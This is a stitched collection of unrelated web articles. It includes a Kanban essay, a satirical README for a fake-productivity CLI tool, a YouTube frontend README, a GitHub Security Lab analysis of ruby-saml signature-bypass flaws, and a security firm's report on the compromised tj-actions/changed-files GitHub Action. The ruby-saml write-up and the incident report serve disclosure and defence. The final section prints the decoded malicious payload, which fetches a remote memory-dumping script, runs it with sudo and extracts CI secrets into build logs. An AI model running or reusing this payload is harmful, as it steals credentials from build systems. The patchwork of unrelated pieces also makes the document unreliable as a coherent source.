When peo­ple say Kanban, they tend to think of a spe­cific set of prac­tices. Whiteboards & sticky notes (both al­most uni­ver­sally vir­tual). Tasks mov­ing through columns that rep­re­sent work­flow. Every now and then, WIP lim­its even.

As of­ten as we do it with other things, it re­duces a broader prin­ci­ple to a set of over­sim­pli­fied tech­niques, which, in turn, tend to un­der­de­liver in many con­texts.

In its orig­i­nal mean­ing, Kanban rep­re­sented a vi­sual sig­nal. The thing that com­mu­ni­cated, well, some­thing. It might have been a need, op­tion, avail­abil­ity, ca­pac­ity, re­quest, etc.

In our Kanban sys­tems, the ac­tual Kanban is a sticky note.

It rep­re­sents work, and given its clos­est en­vi­ron­ment (board, columns, other stick­ies, vi­sual dec­o­ra­tors), it com­mu­ni­cates what needs, or needs not, to be done.

If it’s yel­low, it’s a reg­u­lar fea­ture. If there’s a blocker on it, it re­quests fo­cus. If there’s a long queue of neigh­bors, it sug­gests flow in­ef­fi­ciency. If it’s a col­umn named “ready for…” it com­mu­ni­cates avail­able work and/​or hand­off.

A vi­sual sig­nal all the way.

Let’s de­cou­ple our­selves from the most stan­dard Kanban board de­sign. Let’s for­get columns, sticky notes, and all that jazz.

Enters Kasia, our of­fice man­ager at Lunar. One of the many things Kasia takes care of is mak­ing sure we don’t run out of kitchen sup­plies. The tricky part is that when you don’t drink milk your­self, it be­comes a pain to check the cup­board with milk re­serves every now and then to en­sure we’re stocked.

Then, one day, I found this.

A sim­ple in­dex card taped to the last milk car­ton in a row stat­ing, “Bring me to Kasia.” That’s it.

In the con­text, it re­ally says that:

* we’re run­ning out of (specific kind of) milk

* we want to re­stock soon

* there’s enough time to make an or­der (we don’t drink that much of cap­puc­ci­nos and mac­chi­atos)

But it’s just a vi­sual sig­nal. Kanban at its very core.

What Kasia de­signed is a per­fect Kanban sys­tem. It re­lies on vi­sual sig­nals, which are put in the con­text. Even bet­ter, un­like most Kanban boards I see across teams, the sys­tem is self-ex­plana­tory. Everything one needs to know is writ­ten on the in­dex card.

That’s, by the way, an­other char­ac­ter­is­tic of a good Kanban sys­tem. It should be as sim­ple as pos­si­ble (but not sim­pler). Our work­flow rep­re­sen­ta­tions tend to get more and more com­plex over time by them­selves; we don’t need to make them so from the out­set.

It’s a safe as­sump­tion that, al­most al­ways, there’s a sim­pler vi­su­al­iza­tion that would work just as well. We, process de­sign­ers, of­ten fall into the trap of ov­erengi­neer­ing our tools.

And it’s a healthy wake-up call when some­one who knows close to noth­ing about our fancy stuff de­signs a sys­tem that we would un­likely think of. One that is a per­fect im­ple­men­ta­tion of the orig­i­nal spirit, even if it does­n’t fol­low any of the com­mon tech­niques.

Because it’s all about prin­ci­ples, not prac­tices.

That’s what we can learn from Milk Kanban.

Why learn ac­tual skills when you can just look im­pres­sive in­stead?

Introducing rust-stake­holder - a CLI tool that gen­er­ates ab­solutely mean­ing­less but im­pres­sive-look­ing ter­mi­nal out­put to con­vince every­one you’re a cod­ing ge­nius with­out writ­ing a sin­gle line of use­ful code.

“After us­ing rust-stake­holder, my boss stopped ask­ing about my dead­lines and started ask­ing for my in­sights dur­ing board meet­ings.” - Developer who still has­n’t com­pleted their tick­ets from last sprint

Remember, it’s not about your ac­tual con­tri­bu­tion to the code­base, it’s about how com­pli­cated your ter­mi­nal looks when the VP of Engineering walks by. Nothing says “I’m vi­tal to this com­pany” like 15 progress bars, cryp­tic er­ror mes­sages you seem un­fazed by, and tech­ni­cal jar­gon no­body un­der­stands.

* 🖥️ Dazzling Development Simulations: Make it look like you’re solv­ing CERN-level com­put­ing prob­lems when you’re ac­tu­ally just re­fresh­ing Reddit

* 🧠 Meaningless Jargon Generator: Impress with phrases like “Implemented non-eu­clid­ean topol­ogy op­ti­miza­tion for multi-di­men­sional data rep­re­sen­ta­tion” (no, it does­n’t mean any­thing)

* 📊 Convincing Progress Bars: Nothing says “I’m work­ing” like a progress bar slowly ad­vanc­ing while you’re in the break room

* 🌐 Fake Network Activity: Simulate mis­sion-crit­i­cal API re­quests that are ac­tu­ally just your com­puter talk­ing to it­self

* 👥 Imaginary Team Activity: Pretend your in­vis­i­ble friends are send­ing you im­por­tant pull re­quests

* 🎮 Domain Chameleon: Switch be­tween back­end, fron­tend, blockchain and 7 other do­mains faster than you can say “full-stack de­vel­oper”

Or build from source (warning: might in­volve ac­tual pro­gram­ming):

docker build -t rust-stake­holder .

All com­mands be­low can be used through:

docker run -t –rm rust-stake­holder [arguments]

# Impress the blockchain VC in­vestors

rust-stake­holder –dev-type blockchain –jargon ex­treme –alerts

# Look busy dur­ing per­for­mance re­view sea­son

rust-stake­holder –complexity ex­treme –team –duration 1800

# Convince every­one you’re a 10x game de­vel­oper

rust-stake­holder –dev-type game-de­vel­op­ment –framework “Custom Engine” –jargon high

# For the data sci­ence frauds

rust-stake­holder –dev-type data-sci­ence –jargon ex­treme –project “Neural-Quantum-Blockchain-AI”

# Emergency mode: Your pro­ject is due to­mor­row and you haven’t started

rust-stake­holder –dev-type full­stack –complexity ex­treme –alerts –team

* Promotion Fast-Track: Skip the te­dious “delivering value” step en­tirely

* Meeting Domination: Let it run in the back­ground dur­ing Zoom calls to seem busy

* Deadline Extensions: “Sorry, still re­solv­ing those crit­i­cal sys­tem alerts”

* Salary Negotiation Tool: Just leave it run­ning dur­ing your per­for­mance re­view

* Job Security: Become the only per­son who seems to un­der­stand your fic­tional sys­tems

“I left rust-stake­holder run­ning over the week­end. When I came back on Monday, I had been pro­moted to Principal Engineer.” - Anonymous

“My man­ager does­n’t know what I do, and thanks to rust-stake­holder, nei­ther do I.” - Satisfied User

“Since in­stalling rust-stake­holder, my col­leagues have stopped ask­ing me for help be­cause my work ‘looks too ad­vanced’.” - Senior Imposter Engineer

Currently, this pack­age has the same amount of test cov­er­age as your ex­cuses for miss­ing dead­lines - ab­solutely none.

Much like your ac­tual de­vel­op­ment skills while us­ing this tool, tests are purely the­o­ret­i­cal at this point. But, if you’re feel­ing par­tic­u­larly pro­duc­tive be­tween fake ter­mi­nal ses­sions, con­sider adding some!

After all, noth­ing says “I’m a se­ri­ous de­vel­oper with im­pos­tor syn­drome” like metic­u­lously test­ing a pack­age de­signed to help you fake be­ing a de­vel­oper. It’s beau­ti­fully re­cur­sive.

Contributing? That would in­volve ac­tual cod­ing. But if you in­sist:

Fork the repo (whatever that means)

Submit a PR and pre­tend you un­der­stand the code­base

rust-stake­holder is satire. If your en­tire tech­ni­cal rep­u­ta­tion is built on run­ning a fake ter­mi­nal pro­gram, I am not re­spon­si­ble for the in­evitable mo­ment when some­one asks you to ac­tu­ally, you know, code some­thing.

I am also not re­spon­si­ble if you ac­ci­den­tally im­press your way into a po­si­tion you’re com­pletely un­qual­i­fied for. Though if that hap­pens, con­grat­u­la­tions on your new ca­reer in man­age­ment.

A clean and min­i­mal youtube fron­tend, with­out all the ads and whis­tles. Supported by yt-dlp, and op­tion­ally your lo­cal AI model, to make your youtube ex­pe­ri­ence lo­cal, mind­ful, suc­cint and ad free.

* Download videos from YouTube, us­ing yt-dlp be­hind the scenes

* Ignore videos you don’t want to watch

* No de­pen­den­cies (except for nano-spawn, which it­self has no tran­sient deps)

* HTML/CSS only, no JS frame­works on client/​server side

* Host it in your home net­work to play­back videos on all your de­vices

* Just JSON files for per­sis­tence, stu­pid sim­ple man­age­ment and backup

git clone https://​github.com/​chris­t­ian-fei/​my-yt.git

cd my-yt

npm i

# in­stall yt-dlp, please see https://​github.com/​yt-dlp/​yt-dlp

npm start

git clone https://​github.com/​chris­t­ian-fei/​my-yt.git

cd my-yt

docker com­pose up –build -d

docker run -p 3000:3000 -v /path/to/your/data/folder/for/persistence:/app/data chris­tian­fei/​my-yt:lat­est

* wanted to get back my chrono­log­i­cal feed, in­stead of a “algorithmically cu­rated” one

you can just go to the “Subscriptions” page if you want to see your YouTube videos in chrono­log­i­cal or­der, as gen­tly pointed out on HN

* you can just go to the “Subscriptions” page if you want to see your YouTube videos in chrono­log­i­cal or­der, as gen­tly pointed out on HN

* no click­bait thumb­nails (using mq2 in­stead of mqde­fault thumb­nail, thanks @drcheap)

* no re­lated videos, or any al­go­rith­mi­cally de­ter­mined videos pushed in your face

* no ads (in “just skip the spon­sors”)

* wanted to try in­te­grate the so much hyped AI in a per­sonal pro­ject

* wanted to try out yt-dlp

* wanted to ex­per­i­ment with the HTML5 el­e­ment and WebVTT API

* just wanted to make this, ok?

* I am even pay­ing for YouTube Premium, so it’s not a mat­ter of money, but a mat­ter of con­trol over my at­ten­tion and en­hanced of­fline ex­pe­ri­ence

* Make it pos­si­ble to delete down­loaded videos

* Have a way to view a video at a rea­son­able size in be­tween the small pre­view and full screen

* Add a way to down­load a sin­gle video with­out sub­scrib­ing to a chan­nel

* Specify LLM server end­point

List and choose avail­able model to use for sum­ma­riza­tion

* List and choose avail­able model to use for sum­ma­riza­tion

* add some op­tions for down­load qual­ity (with webm merge for 4k sup­port)

Here are some links to help you un­der­stand the pro­ject bet­ter:

Makes re­quests us­ing the chat com­ple­tions API of LMStudio.

yt-dlp wrap­per to down­load videos, get chan­nel videos and video in­for­ma­tion and tran­script

Handles per­sis­tence of video in­for­ma­tion (set video as down­loaded, sum­mary, ig­nored, up­sert­ing videos, etc.)

de­pen­dency less, bare HTML5, CSS3 and JS for a ba­sic fron­tend

Currently, on the LLM side of things:

* sup­ports ba­sic chat com­ple­tions API (LMStudio right now)

ex­pects lms server to be run­ning on http://​lo­cal­host:1234

* ex­pects lms server to be run­ning on http://​lo­cal­host:1234

* cus­tomiza­tion will come in the fu­ture if there’s enough in­ter­est (let me know by open­ing an is­sue or pull-re­quest)

Download the pro­ject while you can be­fore I get striked with a DMCA take­down re­quest

Critical au­then­ti­ca­tion by­pass vul­ner­a­bil­i­ties (CVE-2025-25291 + CVE-2025-25292) were dis­cov­ered in ruby-saml up to ver­sion 1.17.0. Attackers who are in pos­ses­sion of a sin­gle valid sig­na­ture that was cre­ated with the key used to val­i­date SAML re­sponses or as­ser­tions of the tar­geted or­ga­ni­za­tion can use it to con­struct SAML as­ser­tions them­selves and are in turn able to log in as any user. In other words, it could be used for an ac­count takeover at­tack. Users of ruby-saml should up­date to ver­sion 1.18.0. References to li­braries mak­ing use of ruby-saml (such as om­ni­auth-saml) need also be up­dated to a ver­sion that ref­er­ence a fixed ver­sion of ruby-saml.

In this blog post, we de­tail newly dis­cov­ered au­then­ti­ca­tion by­pass vul­ner­a­bil­i­ties in the ruby-saml li­brary used for sin­gle sign-on (SSO) via SAML on the ser­vice provider (application) side. GitHub does­n’t cur­rently use ruby-saml for au­then­ti­ca­tion, but be­gan eval­u­at­ing the use of the li­brary with the in­ten­tion of us­ing an open source li­brary for SAML au­then­ti­ca­tion once more. This li­brary is, how­ever, used in other pop­u­lar pro­jects and prod­ucts. We dis­cov­ered an ex­ploitable in­stance of this vul­ner­a­bil­ity in GitLab, and have no­ti­fied their se­cu­rity team so they can take nec­es­sary ac­tions to pro­tect their users against po­ten­tial at­tacks.

GitHub pre­vi­ously used the ruby-saml li­brary up to 2014, but moved to our own SAML im­ple­men­ta­tion due to miss­ing fea­tures in ruby-saml at that time. Following bug bounty re­ports around vul­ner­a­bil­i­ties in our own im­ple­men­ta­tion (such as CVE-2024-9487, re­lated to en­crypted as­ser­tions), GitHub re­cently de­cided to ex­plore the use of ruby-saml again. Then in October 2024, a block­buster vul­ner­a­bil­ity dropped: an au­then­ti­ca­tion by­pass in ruby-saml (CVE-2024-45409) by ahack­er1. With tan­gi­ble ev­i­dence of ex­ploitable at­tack sur­face, GitHub’s switch to ruby-saml had to be eval­u­ated more thor­oughly now. As such, GitHub started a pri­vate bug bounty en­gage­ment to eval­u­ate the se­cu­rity of the ruby-saml li­brary. We gave se­lected bug bounty re­searchers ac­cess to GitHub test en­vi­ron­ments us­ing ruby-saml for SAML au­then­ti­ca­tion. In tan­dem, the GitHub Security Lab also re­viewed the at­tack sur­face of the ruby-saml li­brary.

As is not un­com­mon when mul­ti­ple re­searchers are look­ing at the same code, both ahack­er1, a par­tic­i­pant in the GitHub bug bounty pro­gram, and I no­ticed the same thing dur­ing code re­view: ruby-saml was us­ing two dif­fer­ent XML parsers dur­ing the code path of sig­na­ture ver­i­fi­ca­tion. Namely, REXML and Nokogiri. While REXML is an XML parser im­ple­mented in pure Ruby, Nokogiri pro­vides an easy-to-use wrap­per API around dif­fer­ent li­braries like libxml2, libgumbo and Xerces (used for JRuby). Nokogiri sup­ports pars­ing of XML and HTML. It looks like Nokogiri was added to ruby-saml to sup­port canon­i­cal­iza­tion and po­ten­tially other things REXML did­n’t sup­port at that time.

We both in­spected the same code path in the val­i­date_sig­na­ture of xm­l_se­cu­rity.rb and found that the sig­na­ture el­e­ment to be ver­i­fied is first read via REXML, and then also with Nokogiri’s XML parser. So, if REXML and Nokogiri could be tricked into re­triev­ing dif­fer­ent sig­na­ture el­e­ments for the same XPath query it might be pos­si­ble to trick ruby-saml into ver­i­fy­ing the wrong sig­na­ture. It looked like there could be a po­ten­tial au­then­ti­ca­tion by­pass due to a parser dif­fer­en­tial!

The re­al­ity was ac­tu­ally more com­pli­cated than this.

Roughly speak­ing, four stages were in­volved in the dis­cov­ery of this au­then­ti­ca­tion by­pass:

Discovering that two dif­fer­ent XML parsers are used dur­ing code re­view.

Establishing if and how a parser dif­fer­en­tial could be ex­ploited.

Finding an ac­tual parser dif­fer­en­tial for the parsers in use.

To prove the se­cu­rity im­pact of this vul­ner­a­bil­ity, it was nec­es­sary to com­plete all four stages and cre­ate a full-blown au­then­ti­ca­tion by­pass ex­ploit.

Security as­ser­tion markup lan­guage (SAML) re­sponses are used to trans­port in­for­ma­tion about a signed-in user from the iden­tity provider (IdP) to the ser­vice provider (SP) in XML for­mat. Often the only im­por­tant in­for­ma­tion trans­ported is a user­name or an email ad­dress. When the HTTP POST bind­ing is used, the SAML re­sponse trav­els from the IdP to the SP via the browser of the end user. This makes it ob­vi­ous why there has to be some sort of sig­na­ture ver­i­fi­ca­tion in play to pre­vent the user from tam­per­ing with the mes­sage.

Let’s have a quick look at what a sim­pli­fied SAML re­sponse looks like:

Note: in the re­sponse above the XML name­spaces were re­moved for bet­ter read­abil­ity.

As you might have no­ticed: the main part of a sim­ple SAML re­sponse is its as­ser­tion el­e­ment (A), whereas the main in­for­ma­tion con­tained in the as­ser­tion is the in­for­ma­tion con­tained in the Subject el­e­ment (B) (here the NameID con­tain­ing the user­name: ad­min). A real as­ser­tion typ­i­cally con­tains more in­for­ma­tion (e.g. NotBefore and NotOnOrAfter dates as part of a Conditions el­e­ment.)

Normally, the Assertion (A) (without the whole Signature part) is canon­i­cal­ized and then com­pared against the DigestValue (C) and the SignedInfo (D) is canon­i­cal­ized and ver­i­fied against the SignatureValue (E). In this sam­ple, the as­ser­tion of the SAML re­sponse is signed, and in other cases the whole SAML re­sponse is signed.

We learned that ruby-saml used two dif­fer­ent XML parsers (REXML and Nokogiri) for val­i­dat­ing the SAML re­sponse. Now let’s have a look at the ver­i­fi­ca­tion of the sig­na­ture and the di­gest com­par­i­son.

The fo­cus of the fol­low­ing ex­pla­na­tion lies on the val­i­date_sig­na­ture method in­side of xm­l_se­cu­rity.rb.

Inside that method, there’s a broad XPath query with REXML for the first sig­na­ture el­e­ment in­side the SAML doc­u­ment:

sig_el­e­ment = REXML::XPath.first(

@working_copy,

“//ds:Signature”,

{“ds”=>DSIG}

Hint: When read­ing the code snip­pets, you can tell the dif­fer­ence be­tween queries for REXML and Nokogiri by look­ing at how they are called. REXML meth­ods are pre­fixed with REXML::, whereas Nokogiri meth­ods are called on doc­u­ment.

Later, the ac­tual SignatureValue is read from this el­e­ment:

base64_sig­na­ture = REXML::XPath.first(

sig_el­e­ment,

″./ds:SignatureValue”,

{“ds” => DSIG}

sig­na­ture = Base64.decode64(OneLogin::RubySaml::Utils.element_text(base64_signature))

Note: the name of the Signature el­e­ment might be a bit con­fus­ing. While it con­tains the ac­tual sig­na­ture in the SignatureValue node it also con­tains the part that is ac­tu­ally signed in the SignedInfo node. Most im­por­tantly the DigestValue el­e­ment con­tains the di­gest (hash) of the as­ser­tion and in­for­ma­tion about the used key.

So, an ac­tual Signature el­e­ment could look like this (removed name­space in­for­ma­tion for bet­ter read­abil­ity):

Later in the same method (validate_signature) there’s again a query for the Signature(s)—but this time with Nokogiri.

noko_sig_el­e­ment = doc­u­ment.at_x­path(‘//​ds:Sig­na­ture’, ‘ds’ => DSIG)

Then the SignedInfo el­e­ment is taken from that sig­na­ture and canon­i­cal­ized:

noko_signed_in­fo_el­e­ment = noko_sig_el­e­ment.at_x­path(‘./​ds:Signed­In­fo’, ‘ds’ => DSIG)

canon_string = noko_signed_in­fo_el­e­ment.canon­i­cal­ize(canon_al­go­rithm)

Let’s re­mem­ber this canon_string con­tains the canon­i­cal­ized SignedInfo el­e­ment.

The SignedInfo el­e­ment is then also ex­tracted with REXML:

signed_in­fo_el­e­ment = REXML::XPath.first(

sig_el­e­ment,

″./ds:SignedInfo”,

{ “ds” => DSIG }

From this SignedInfo el­e­ment the Reference node is read:

ref = REXML::XPath.first(signed_info_element, ”./ds:Reference”, {“ds”=>DSIG})

Now the code queries for the ref­er­enced node by look­ing for nodes with the signed el­e­ment id us­ing Nokogiri:

ref­er­ence_n­odes = doc­u­ment.xpath(“//*[@​ID=$id]”, nil, { ‘id’ => ex­trac­t_signed_el­e­men­t_id })

The method ex­trac­t_signed_el­e­men­t_id ex­tracts the signed el­e­ment id with help of REXML. From the pre­vi­ous au­then­ti­ca­tion by­pass (CVE-2024-45409), there’s now a check that only one el­e­ment with the same ID can ex­ist.

The first of the ref­er­ence_n­odes is taken and canon­i­cal­ized:

hashed_el­e­ment = ref­er­ence_n­odes[0][..]canon_hashed_el­e­ment = hashed_el­e­ment.canon­i­cal­ize(canon_al­go­rithm, in­clu­sive_­name­spaces)

The canon_hashed_el­e­ment is then hashed:

hash = di­gest_al­go­rithm.di­gest(canon_hashed_el­e­ment)

The DigestValue to com­pare it against is then ex­tracted with REXML:

en­cod­ed_di­gest_­value = REXML::XPath.first(

ref,

″./ds:DigestValue”,

{ “ds” => DSIG }

di­gest_­value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

Finally, the hash (built from the el­e­ment ex­tracted by Nokogiri) is com­pared against the di­gest_­value (extracted with REXML):

un­less di­gest­s_­match?(hash, di­gest_­value)

The canon_string ex­tracted some lines ago (a re­sult of an ex­trac­tion with Nokogiri) is later ver­i­fied against sig­na­ture (extracted with REXML).

un­less cert.pub­lic_key.ver­ify(sig­na­ture_al­go­rithm.new, sig­na­ture, canon_string)

In the end, we have the fol­low­ing con­stel­la­tion:

The as­ser­tion is ex­tracted and canon­i­cal­ized with Nokogiri, and then hashed. In con­trast, the hash against which it will be com­pared is ex­tracted with REXML.

The SignedInfo el­e­ment is ex­tracted and canon­i­cal­ized with Nokogiri - it is then ver­i­fied against the SignatureValue, which was ex­tracted with REXML.

The ques­tion is: is it pos­si­ble to cre­ate an XML doc­u­ment where REXML sees one sig­na­ture and Nokogiri sees an­other?

It turns out, yes.

Ahacker1, par­tic­i­pat­ing in the bug bounty, was faster to pro­duce a work­ing ex­ploit us­ing a parser dif­fer­en­tial. Among other things, ahack­er1 was in­spired by the XML roundtrips vul­ner­a­bil­i­ties pub­lished by Mattermost’s Juho Forsén in 2021.

Not much later, I pro­duced an ex­ploit us­ing a dif­fer­ent parser dif­fer­en­tial with the help of Trail of Bits’ Ruby fuzzer called ruzzy.

Both ex­ploits re­sult in an au­then­ti­ca­tion by­pass. Meaning that an at­tacker, who is in pos­ses­sion of a sin­gle valid sig­na­ture that was cre­ated with the key used to val­i­date SAML re­sponses or as­ser­tions of the tar­geted or­ga­ni­za­tion, can use it to con­struct as­ser­tions for any users which will be ac­cepted by ruby-saml. Such a sig­na­ture can ei­ther come from a signed as­ser­tion or re­sponse from an­other (unprivileged) user or in cer­tain cases, it can even come from signed meta­data of a SAML iden­tity provider (which can be pub­licly ac­ces­si­ble).

An ex­ploit could look like this. Here, an ad­di­tional Signature was added as part of the StatusDetail el­e­ment that is only vis­i­ble to Nokogiri:

The SignedInfo el­e­ment (A) from the sig­na­ture that is vis­i­ble to Nokogiri is canon­i­cal­ized and ver­i­fied against the SignatureValue (B) that was ex­tracted from the sig­na­ture seen by REXML.

The as­ser­tion is re­trieved via Nokogiri by look­ing for its ID. This as­ser­tion is then canon­i­cal­ized and hashed (C). The hash is then com­pared to the hash con­tained in the DigestValue (D). This DigestValue was re­trieved via REXML. This DigestValue has no cor­re­spond­ing sig­na­ture.

So, two things take place:

* A valid SignedInfo with DigestValue is ver­i­fied against a valid sig­na­ture. (which checks out)

* A fab­ri­cated canon­i­cal­ized as­ser­tion is com­pared against its cal­cu­lated di­gest. (which checks out as well)

This al­lows an at­tacker, who is in pos­ses­sion of a valid signed as­ser­tion for any (unprivileged) user, to fab­ri­cate as­ser­tions and as such im­per­son­ate any other user.

Parts of the cur­rently known, undis­closed ex­ploits can be stopped by check­ing for Nokogiri pars­ing er­rors on SAML re­sponses. Sadly, those er­rors do not re­sult in ex­cep­tions, but need to be checked on the er­rors mem­ber of the parsed doc­u­ment:

doc = Nokogiri::XML(xml) do |config|

con­fig.op­tions = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET

end

raise “XML er­rors when pars­ing: ” + doc.er­rors.to_s if doc.er­rors.any?

While this is far from a per­fect fix for the is­sues at hand, it ren­ders at least one ex­ploit in­fea­si­ble.

We are not aware of any re­li­able in­di­ca­tors of com­pro­mise. While we’ve found a po­ten­tial in­di­ca­tor of com­pro­mise, it only works in de­bug-like en­vi­ron­ments and to pub­lish it, we would have to re­veal too many de­tails about how to im­ple­ment a work­ing ex­ploit so we’ve de­cided that it’s bet­ter not to pub­lish it. Instead, our best rec­om­men­da­tion is to look for sus­pi­cious lo­gins via SAML on the ser­vice provider side from IP ad­dresses that do not align with the user’s ex­pected lo­ca­tion.

Some might say it’s hard to in­te­grate sys­tems with SAML. That might be true. However, it’s even harder to write im­ple­men­ta­tions of SAML us­ing XML sig­na­tures in a se­cure way. As oth­ers have stated be­fore: it’s prob­a­bly best to dis­re­gard the spec­i­fi­ca­tions, as fol­low­ing them does­n’t help build se­cure im­ple­men­ta­tions.

To re­hash how the val­i­da­tion works if the SAML as­ser­tion is signed, let’s have a look at the graphic be­low, de­pict­ing a sim­pli­fied SAML re­sponse. The as­ser­tion, which trans­ports the pro­tected in­for­ma­tion, con­tains a sig­na­ture. Confusing, right?

To com­pli­cate it even more: What is even signed here? The whole as­ser­tion? No!

What’s signed is the SignedInfo el­e­ment and the SignedInfo el­e­ment con­tains a DigestValue. This DigestValue is the hash of the canon­i­cal­ized as­ser­tion with the sig­na­ture el­e­ment re­moved be­fore the canon­i­cal­iza­tion. This two-stage ver­i­fi­ca­tion process can lead to im­ple­men­ta­tions that have a dis­con­nect be­tween the ver­i­fi­ca­tion of the hash and the ver­i­fi­ca­tion of the sig­na­ture. This is the case for these Ruby-SAML parser dif­fer­en­tials: while the hash and the sig­na­ture check out on their own, they have no con­nec­tion. The hash is ac­tu­ally a hash of the as­ser­tion, but the sig­na­ture is a sig­na­ture of a dif­fer­ent SignedInfo el­e­ment con­tain­ing an­other hash. What you ac­tu­ally want is a di­rect con­nec­tion be­tween the hashed con­tent, the hash, and the sig­na­ture. (And once the ver­i­fi­ca­tion is done you only want to re­trieve in­for­ma­tion from the ex­act part that was ac­tu­ally ver­i­fied.) Or, al­ter­na­tively, use a less com­pli­cated stan­dard to trans­port a cryp­to­graph­i­cally signed user­name be­tween two sys­tems - but here we are.

In this case, the li­brary al­ready ex­tracted the SignedInfo and used it to ver­ify the sig­na­ture of its canon­i­cal­ized string,canon_string. However, it did not use it to ob­tain the di­gest value. If the li­brary had used the con­tent of the al­ready ex­tracted SignedInfo to ob­tain the di­gest value, it would have been se­cure in this case even with two XML parsers in use.

As shown once again: re­ly­ing on two dif­fer­ent parsers in a se­cu­rity con­text can be tricky and er­ror-prone. That be­ing said: ex­ploitabil­ity is not au­to­mat­i­cally guar­an­teed in such cases. As we have seen in this case, check­ing for Nokogiri er­rors could not have pre­vented the parser dif­fer­en­tial, but could have stopped at least one prac­ti­cal ex­ploita­tion of it.

The ini­tial fix for the au­then­ti­ca­tion by­passes does not re­move one of the XML parsers to pre­vent API com­pat­i­bil­ity prob­lems. As noted, the more fun­da­men­tal is­sue was the dis­con­nect be­tween ver­i­fi­ca­tion of the hash and ver­i­fi­ca­tion of the sig­na­ture, which was ex­ploitable via parser dif­fer­en­tials. The re­moval of one of the XML parsers was al­ready planned for other rea­sons, and will likely come as part of a ma­jor re­lease in com­bi­na­tion with ad­di­tional im­prove­ments to strengthen the li­brary. If your com­pany re­lies on open source soft­ware for busi­ness-crit­i­cal func­tion­al­ity, con­sider spon­sor­ing them to help fund their fu­ture de­vel­op­ment and bug fix re­leases.

If you’re a user of ruby-saml li­brary, make sure to up­date to the lat­est ver­sion, 1.18.0, con­tain­ing fixes for CVE-2025-25291 and CVE-2025-25292. References to li­braries mak­ing use of ruby-saml (such as om­ni­auth-saml) need also be up­dated to a ver­sion that ref­er­ence a fixed ver­sion of ruby-saml. We will pub­lish a proof of con­cept ex­ploit at a later date in the GitHub Security Lab repos­i­tory.

Special thanks to Sixto Martín, main­tainer of ruby-saml, and Jeff Guerra from the GitHub Bug Bounty pro­gram.

Special thanks also to ahack­er1 for giv­ing in­puts to this blog post.

* 2024-11-04: Bug bounty re­port demon­strat­ing an au­then­ti­ca­tion by­pass was re­ported against a GitHub test en­vi­ron­ment eval­u­at­ing ruby-saml for SAML au­then­ti­ca­tion.

* 2024-11-12: A sec­ond au­then­ti­ca­tion by­pass was found by Peter that ren­ders the planned mit­i­ga­tions for the first use­less.

* 2024-11-14: Both parser dif­fer­en­tials are re­ported to ruby-saml, the main­tainer re­sponds im­me­di­ately.

* 2024-11-14: The work on po­ten­tial patches by the main­tainer and ahack­er1 be­gins. (One of the ini­tial ideas was to re­move one of the XML parsers, but this was not fea­si­ble with­out break­ing back­wards com­pat­i­bil­ity).

* 2025-02-16: The main­tainer starts work­ing on a fix with the idea to be back­wards-com­pat­i­ble and eas­ier to un­der­stand.

* 2025-02-17: Initial con­tact with GitLab to co­or­di­nate a re­lease of their on-prem prod­uct with the re­lease of the ruby-saml li­brary.

We are ac­tively in­ves­ti­gat­ing a crit­i­cal se­cu­rity in­ci­dent in­volv­ing the tj-ac­tions/​changed-files GitHub Action. While our in­ves­ti­ga­tion is on­go­ing, we want to alert users so they can take im­me­di­ate cor­rec­tive ac­tions. We will keep this post up­dated as we learn more. StepSecurity Harden-Runner de­tected this is­sue through anom­aly de­tec­tion when an un­ex­pected end­point ap­peared in the net­work traf­fic. Based on our analy­sis, the in­ci­dent started around 9:00 AM March 14th, 2025 Pacific Time (PT) / 4:00 PM March 14th, 2025 UTC. StepSecurity has re­leased a free se­cure drop-in re­place­ment for this Action to help re­cover from the in­ci­dent: step-se­cu­rity/​changed-files. We highly rec­om­mend you re­place all in­stances of tj-ac­tions/​changed-files with the StepSecurity se­cure al­ter­na­tives.

Update 1: Most ver­sions of tj-ac­tions/​changed-files are com­pro­mised.

Update 2: We have de­tected mul­ti­ple pub­lic repos­i­to­ries have leaked se­crets in build logs. As these build logs are pub­lic, any­one can steal these se­crets. If you main­tain any pub­lic repos­i­to­ries that use this Action, please re­view the re­cov­ery steps im­me­di­ately.

Update 3: GitHub has re­moved the tj-ac­tions/​changed-files Action. GitHub Actions work­flows can no longer use this Action.

The tj-ac­tions/​changed-files GitHub Action, which is cur­rently used in over 23,000 repos­i­to­ries, has been com­pro­mised. In this at­tack, the at­tack­ers mod­i­fied the ac­tion’s code and retroac­tively up­dated mul­ti­ple ver­sion tags to ref­er­ence the ma­li­cious com­mit. The com­pro­mised Action prints CI/CD se­crets in GitHub Actions build logs. If the work­flow logs are pub­licly ac­ces­si­ble (such as in pub­lic repos­i­to­ries), any­one could po­ten­tially read these logs and ob­tain ex­posed se­crets. There is no ev­i­dence that the leaked se­crets were ex­fil­trated to any re­mote net­work des­ti­na­tion.

Our Harden-Runner so­lu­tion flagged this is­sue when an un­ex­pected end­point ap­peared in the work­flow’s net­work traf­fic. This anom­aly was caught by Harden-Runner’s be­hav­ior-mon­i­tor­ing ca­pa­bil­ity.

The com­pro­mised Action now ex­e­cutes a ma­li­cious Python script that dumps CI/CD se­crets from the Runner Worker process. Most of the ex­ist­ing Action re­lease tags have been up­dated to re­fer to the ma­li­cious com­mit men­tioned be­low (@stevebeattie no­ti­fied us about this). Note: All these tags now point to the same ma­li­cious com­mit hash:0e58ed8671d6b60d0890c21b07f8835ace038e67, in­di­cat­ing the retroac­tive com­pro­mise of mul­ti­ple ver­sions.”

$ git tag -l | while read -r tag ; do git show –format=“$tag: %H” –no-patch $tag ; done | sort -k2

v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

v5: 0e58ed8671d6b60d0890c21b07f8835ace038e67

@salolivares has iden­ti­fied the ma­li­cious com­mit that in­tro­duces the ex­ploit code in the Action.

The base64 en­coded string in the above screen­shot con­tains the ex­ploit code. Here is the base64 de­coded ver­sion of the code.

if [[ “$OSTYPE” == “linux-gnu” ]]; then

B64_BLOB=`curl -sSf https://​gist.githubuser­con­tent.com/​niki­tas­tupin/​30e525b776c409e03c2d6f328f254965/​raw/​mem­dump.py | sudo python3 | tr -d ‘\0’ | grep -aoE ‘“[^“]+”:\{“value”:“[^“]*”,“isSecret”:true\}’ | sort -u | base64 -w 0 | base64 -w 0`

echo $B64_BLOB

else

exit 0

fi

